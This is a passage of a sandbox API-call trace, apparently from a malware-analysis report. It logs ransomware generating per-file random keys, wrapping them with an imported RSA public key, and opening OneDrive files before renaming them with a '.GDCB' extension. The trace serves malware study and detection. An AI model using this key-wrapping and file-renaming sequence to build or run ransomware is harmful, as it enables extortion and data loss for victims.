GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.870] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.870] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.871] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0181.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.872] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.873] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.873] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.873] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.875] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2d308) returned 1 [0181.877] CryptGetKeyParam (in: hKey=0x4f2d308, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.877] CryptEncrypt (in: hKey=0x4f2d308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5600000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5600000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.877] GetLastError () returned 0x0 [0181.877] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.877] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.879] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2d288) returned 1 [0181.879] CryptGetKeyParam (in: hKey=0x4f2d288, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.879] CryptEncrypt (in: hKey=0x4f2d288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5610000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5610000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.879] GetLastError () returned 0x0 [0181.879] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.879] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ErrorPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\errorpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.881] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5620000 [0181.882] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5630000 [0181.883] ReadFile (in: hFile=0x514, lpBuffer=0x5630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5630000*, lpNumberOfBytesRead=0x285d3e8*=0x13c4, lpOverlapped=0x0) returned 1 [0181.893] VirtualAlloc (lpAddress=0x0, dwSize=0x13d0, flAllocationType=0x3000, flProtect=0x4) returned 0x5740000 [0181.897] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ErrorPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\errorpage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ErrorPage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\errorpage.html.gdcb")) returned 1 [0181.928] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0181.930] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.930] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.930] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0181.930] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.931] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0181.932] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.932] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0181.932] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.933] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0181.935] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d408) returned 1 [0181.935] CryptGetKeyParam (in: hKey=0x4f2d408, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0181.935] CryptEncrypt (in: hKey=0x4f2d408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5600000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5600000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0181.935] GetLastError () returned 0x0 [0181.935] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0181.935] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0181.937] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2cf08) returned 1 [0181.937] CryptGetKeyParam (in: hKey=0x4f2cf08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0181.937] CryptEncrypt (in: hKey=0x4f2cf08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5610000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5610000*, pdwDataLen=0x285d120*=0x100) returned 1 [0181.937] GetLastError () returned 0x0 [0181.937] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.937] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\acmDismissIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\acmdismissicon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0181.940] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0181.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.942] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.942] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0181.942] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.942] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0181.944] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.944] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.945] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0181.945] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.945] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0181.948] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d2c8) returned 1 [0181.948] CryptGetKeyParam (in: hKey=0x4f2d2c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0181.948] CryptEncrypt (in: hKey=0x4f2d2c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5620000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5620000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0181.948] GetLastError () returned 0x0 [0181.948] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.948] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0181.952] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2cfc8) returned 1 [0181.952] CryptGetKeyParam (in: hKey=0x4f2cfc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0181.953] CryptEncrypt (in: hKey=0x4f2cfc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5630000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5630000*, pdwDataLen=0x285d120*=0x100) returned 1 [0181.953] GetLastError () returned 0x0 [0181.953] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.953] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\blurrect.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\blurrect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0181.955] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5640000 [0181.956] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5650000 [0181.957] ReadFile (in: hFile=0x518, lpBuffer=0x5650000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5650000*, lpNumberOfBytesRead=0x285d160*=0x321, lpOverlapped=0x0) returned 1 [0181.968] VirtualAlloc (lpAddress=0x0, dwSize=0x330, flAllocationType=0x3000, flProtect=0x4) returned 0x5760000 [0181.972] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\blurrect.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\blurrect.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\blurrect.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\blurrect.png.gdcb")) returned 0 [0181.975] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0181.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.977] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.977] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0181.977] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0181.977] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0181.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.979] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.979] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0181.979] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.979] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0181.981] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d008) returned 1 [0181.981] CryptGetKeyParam (in: hKey=0x4f2d008, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0181.981] CryptEncrypt (in: hKey=0x4f2d008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5620000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5620000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0181.982] GetLastError () returned 0x0 [0181.982] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.982] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0181.984] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2ce48) returned 1 [0181.984] CryptGetKeyParam (in: hKey=0x4f2ce48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0181.984] CryptEncrypt (in: hKey=0x4f2ce48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5630000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5630000*, pdwDataLen=0x285d120*=0x100) returned 1 [0181.984] GetLastError () returned 0x0 [0181.984] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0181.984] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_finished.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_finished.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0181.984] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0181.986] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.986] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.986] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0181.986] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.986] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0181.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.988] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.988] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0181.988] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.988] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0181.990] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2ccc8) returned 1 [0181.991] CryptGetKeyParam (in: hKey=0x4f2ccc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0181.991] CryptEncrypt (in: hKey=0x4f2ccc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5640000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5640000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0181.991] GetLastError () returned 0x0 [0181.991] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.991] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0181.993] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2cd08) returned 1 [0181.993] CryptGetKeyParam (in: hKey=0x4f2cd08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0181.993] CryptEncrypt (in: hKey=0x4f2cd08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5650000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5650000*, pdwDataLen=0x285d120*=0x100) returned 1 [0181.993] GetLastError () returned 0x0 [0181.993] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.993] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_hovered.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_hovered.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0181.993] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0181.995] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.996] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.996] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0181.996] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.996] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0181.997] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.998] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.998] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0181.998] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.998] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.000] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2cd48) returned 1 [0182.000] CryptGetKeyParam (in: hKey=0x4f2cd48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.000] CryptEncrypt (in: hKey=0x4f2cd48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5660000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5660000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.000] GetLastError () returned 0x0 [0182.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.000] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.002] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d048) returned 1 [0182.002] CryptGetKeyParam (in: hKey=0x4f2d048, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.002] CryptEncrypt (in: hKey=0x4f2d048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5670000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5670000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.002] GetLastError () returned 0x0 [0182.002] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.002] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.003] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.005] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.005] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.005] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.005] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.007] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.007] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.007] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.007] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.009] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d088) returned 1 [0182.009] CryptGetKeyParam (in: hKey=0x4f2d088, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.009] CryptEncrypt (in: hKey=0x4f2d088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5680000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5680000*, 